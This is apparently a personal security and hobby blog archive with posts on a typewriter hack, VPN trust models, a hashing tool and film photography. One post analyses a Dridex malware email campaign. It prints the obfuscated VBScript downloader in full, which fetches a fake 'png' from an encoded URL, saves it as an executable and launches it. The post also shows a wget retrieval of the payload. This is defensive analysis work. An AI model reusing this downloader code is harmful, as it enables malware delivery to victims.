Monday, December 28, 2015

Adventures in typewriters, the prequel.

I introduce to you, the Smith-Corona EL4000! 

I plan to hack together something to turn this into a perfectly functional, arguably useless but fun RSS feed printer.

Yay, brown!

I chose this machine as from the eBay pictures, it seems to have a printer function. When it was delivered however, the optimism turned a little stale...


Ok, so this has now become a coding AND hardware challenge, yay!

Next update will be when I find screwdrivers long enough to reach into the holes in the upper case to release the screws holding it to the base. My optimism is starting to pick back up again though; the machine seems to have memory functions and they all work, so it looks like the functionality to process data from sources other than the keyboard and send these autonomously to the typewriter would seem to be present. Hopefully, there will be some form of data connector on the main board to allow data input in some common format...

Saturday, May 2, 2015

Sneaky Dridex Downloader

On Friday, our sandboxes saw multiple emails with attached malicious documents, each one making a call out to the same Pastebin location, and very little else. Obviously, something was missing here, and this triggered my interest, so I followed up the Pastebin link, and got this:

dim GUIGUiuisu: Set GUIGUiuisu = createobject(Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80) ) 
dim oUIUwefeffffff: Set oUIUwefeffffff = createobject(Chr(65) & Chr(100) & Chr(111) & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109) ) 
GUIGUiuisu.Open Chr(71) & Chr(69) & Chr(84) , Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(104) & Chr(111) & Chr(115) & Chr(116) & Chr(46) & Chr(97) & Chr(100) & Chr(118) & Chr(105) & Chr(115) & Chr(111) & Chr(114) & Chr(99) & Chr(111) & Chr(110) & Chr(115) & Chr(117) & Chr(108) & Chr(116) & Chr(105) & Chr(110) & Chr(103) & Chr(103) & Chr(114) & Chr(111) & Chr(117) & Chr(112) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(105) & Chr(109) & Chr(97) & Chr(103) & Chr(101) & Chr(47) & Chr(105) & Chr(109) & Chr(97) & Chr(103) & Chr(101) & Chr(46) & Chr(112) & Chr(110) & Chr(103) , False 
Set dfgfderer = WScript.CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) ).Environment(Chr(80) & Chr(114) & Chr(111) & Chr(99) & Chr(101) & Chr(115) & Chr(115) ) 
oOJIGHUGHFff = dfgfderer(Chr(84) & Chr(69) & Chr(77) & Chr(80) ) 
ooOOOOOOf = oOJIGHUGHFff + Chr(92) & Chr(112) & Chr(112) & Chr(112) & Chr(80) & Chr(80) & Chr(79) & Chr(79) & Chr(73) & Chr(118) & Chr(118) & Chr(86) & Chr(46) & Chr(101) & Chr(120) & Chr(101)  
with oUIUwefeffffff 
.type = 1  
.write GUIGUiuisu.responseBody 
.savetofile ooOOOOOOf, 2  
end with 
Set pPPPPIuhiGUv = CreateObject(Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(65) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110) ) 

Looks like vb script to me, not very easy to read with the char codes used to obscure the interesting stuff. Let's use a little grep-fu and get a nice csv of those numbers:


Which we can then convert, to get:


Ah ha! There's a URL, and an exe name and location, and a parameter to launch a shell... it should be pretty obvious by now what's going on. Let's get that "png"...

$ wget
--2015-05-01 14:34:29--
Resolving (
Connecting to (||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 141824 (138K) [image/png]
Saving to: ‘image.png’

100%[======================================>] 141,824      111KB/s   in 1.2s   

2015-05-01 14:34:35 (111 KB/s) - ‘image.png’ saved [141824/141824]

Rename the png to an exe, just like the vb script would do, and we have our payload:

Looks like a Dridex variant, with the detection rate moving up from 3/56 on VT yesterday to 26/56 today.

Wednesday, February 18, 2015

VPN, vs a different implementation of VPN, vs secure web services... a question of trust?

Often, a VPN is seen a security panacea; a cure for all remote-access security ills.

Let's assume we have to deliver a service with providing super secret information outside of the safety of our LAN. That's a need for a VPN... or is it?

Here are my rambling thoughts on the subject, read them, enjoy them... I'm taking a devil's advocate view here somewhat, and this is not intended as a fully encompassing paper on the subject either. I expect I may have left gaps and you may have your own thoughts, feel free to add them.

Lets get going and explore this idea a little, starting with the traditional...

...VPN delivered to the fully managed corporate laptop. This is the method often seen as the most secure; you manage the assets, their patching, their hardening. You have a record of the assets in your CMDB, you know what operating system they're running. The users are managed via your global directory. They connect using strong IPsec or TLS, authenticate using 2FA and once connected they're isolated from their local LAN... everything is cool, right? Maybe. Let's consider a few things:

- Have you designed your hardening, security baselines and endpoint protection based on the assumption that you are always dealing with an asset located at a desk in your office?
- Do those controls above work in the same way when the asset is removed from the office and connected via VPN? Do you AV updates fail because the remote user only has access to a slow link?
- Can you securely support the remote device when its out in the field, or do you need to revert to using non-random passwords for local accounts for VPN users as your find yourself dealing with incidents that need to be resolved remotely before the VPN tunnel can be established?
- You have made assumptions about your users, based on their presence in the office. In the office they must pass through secure locked doors, display ID badges, and face colleagues who would quickly be able to identify if they were no who they claimed to be. The only method you may have to verify a remote user is the fact that they have authenticated into the VPN itself, by which time they may already have full LAN access. You trust them as you would if they were in the office based solely on their ID and this authentication process?
- Do you hang more IDS/IPS systems on the back of your incoming VPN connections, or do you view traffic from the VPN connections no differently to that from LAN connected devices?
- How often is the managed asset connected to untrusted networks and not connected to the VPN? Your users don't know how to get around proxy settings, do they? If they do, what do they do once those settings are bypassed (sit on open hotel WiFi torrenting movies, perhaps?)

Next up, VPN services provided by more advanced clients which will probably support features such as client posture checking, to non managed non company owned devices, again either delivered via strong IPsec or TLS:

-We're dealing with a very different animal now. We no longer have our nicely managed assets to remotely connect into our LAN.
-Whereas in the example above we had a high level of trust of the devices we were allowing to remotely connect to our LAN, that trust is now much, much lower.
- On advanced VPN clients, we may have the ability to check the connecting device's patch level, AV status, OS version and service pack levels, IOC for various types of malware all *prior* to the device being allowed to connect; I'm willing to bet that's more security assessment than you perform on your managed assets after they've been connected to your LAN for a year...
- Despite all the posture checking, advanced threats could still be present on a non-managed device which could evade even the smartest VPN client.
- Using a TLS VPN? You've probably chosen a more random port than 443, and because you're not offering services to browsers, you can enforce this pretty well. You 1, script kiddies 0.
- Unless you require registration of new endpoint devices, you lose the ability to link a user to a device; e.g. you can not assert that Gary only uses his MacBook, ID=blah to connect, then a connection initiated by Mallory using stolen credentials/tokens from a different device (which may be perfectly capable of passing posture checking) is potentially indistinguishable from a legitimate connection.

And finally, delivering those services via a HTTPS web session, again summing you're doing all the cryptography and implementation right:

- This is the least trusted option; you're offering up web services on 443, you'll be seeing every probe, skiddie attack, bot, spider, etc out there.
- And leading on from that point, you'll be expecting them, and your service will be hardened accordingly.
- You will possibly have made a distinction between a valid user of your network/LAN, and a valid user of the web application, i.e. using different credentials and authentication systems for both.
- A web server, unlike a VPN, will be offering the required service with a much greater segregation from your LAN. If we consider the traditional layered DMZ, your web server will be sitting at least 2 domains away from the interesting stuff on your LAN, hopefully with firewalls and IDS at each boundary crossing.
- You're gaining granularity. No need to expose a LAN full of 50 services to those remote users who only need 5.
- Let's assume I'm Mallory. Armed with my rubber hose, I walk up behind the user sat in the cafe accessing your services and kosh them over the head. I now I have full access to their endpoint (Ok, ok... this exact situation is unlikely, so lets just call it a "total physical endpoint compromise" we're dealing with here). Assuming we're using a VPN, I may have full LAN access. If our poor legitimate user was logged into a secure web service, I only have access to the data permitted to be accessed from the service in question; to get any further into the network, I'll need to exploit the app, get root on the host, move laterally around the web stack, break through risk domains etc etc... and that should be a) hard and b) detectable.
- Your services are subject to the same attacks as any other web service, but these attack vectors are well publicised and the skills and tools to defend against them are commonplace, chances are you'll be routing your connections for your confidential services via the same reverse proxies and WAFs as the rest of your inbound web traffic; well monitored, well understood. VPN security experts? They're less common.

Trust seems to be the key factor here: Are we implying trust where there needs to be less trust? Are we trusting endpoints, or users? Do we apply the same level of trust to a user on the road as to one in the office? Does successful authentication imply that we now trust whomever has done that authentication? As trust goes down, our security controls must come up to deal with that greater risk. Trust can be misplaced, and like anything you misplace, the less you start with, the less you have to lose.

Friday, February 13, 2015

Teeny hasher was born out of a need for a quick file checksum generator.

Written in Python, with support for 2.6/7, it quickly traverses down multiple directory structures and stores corresponding hash values for file contents in XML.

Wednesday, February 4, 2015

SSID beacons as a D3 tag cloud

Because why not...

modified backend, d3/js at the front

Friday, January 30, 2015

On (film) photography

I've been into photography for many years. My first camera was an Olympus OM10, bought from a local second hand store, with the standard 50mm lens. From those humble beginnings, I embarked on a journey through the remarkable Olympus OM system, into my first job at a photo store which gave me a chance to use pretty much every camera, accessory, and film available at the time. I photographed family, friends, landscapes, objects, random people, taking up the reins of digital when it became feasible on my tiny salary... And that's kinda where things began going a little bit awry, allow me to explain from the perspective of where I am today:

I recently pulled a couple of rolls of Tri-X from some of my film cameras, most had been in there at least 4 years, and developed them. The first roll was a bit of failure, my developer solution was too weak. The second and third rolls much better, if suffering a little from over-agitation. But what really struck me, was how thoroughly enjoyable this process was; I was transported back to the days of buying whatever cheap film I could wrangle through my (now defunct, incidentally) workplace. From the wet tank I pulled images of friends, places, trips I had forgotten I had taken, rendered in the characteristics of the film which I had discovered and fallen in love with 10+ years ago.

Encouraged, I began looking through my transparencies... Colours lept out at me, each as fresh as the 1/500 second the chemical reaction occurred years ago. Not interpreted via a monitor, or software, not tweaked, no agonising over if +12 or +15 "vibrancy" looks best, just the camera, the light, and characteristics of the film... And boy, what characteristics: There was Kodachrome 64, with its smooth grain and National Geographic-esque colours, and Fuji Provia - clean, accurate, realistic, and Kodak Ektachromes - sharp, and wonderfully slightly warm saturated colours without being overdone in any way.

Then it struck me. All these films are dead. We've killed them. Our lust for digital, and the quest to improve generation after generation of digital camera has killed these films, their characteristics, their suitability for different applications... I don't know how I feel about this; sad I guess. Sure, its progress, but we've lost the progress we made in developing these films and all the advances over the years in emulsions, processing, and associated technology. No longer do we need the knowledge that we don't ever use Velvia 50 for portraits, or Agfa CT100 for... well, anything we don't want rendered with a magenta hue really.

Let me give you some insight into what brought all this on. I'm doing Burning Man this year, and its going to be a pretty damn photogenic event. I could take one of my digital SLRs, charge off the RV's 12v outlet... But I don't want to. Out there, in the desert, I want to connect with what drew me to photography; me, the camera, the film. No ability to preview and delete images, no zooming to get the best composition, no ability to shuffle ISO. On frame 34 and miles from the RV? Well, I better make those two shots count and hope that I get that elusive 37th frame.

So then, worn Leica M4, 5 rolls of Provia 100 and 5 of Tri-x? :)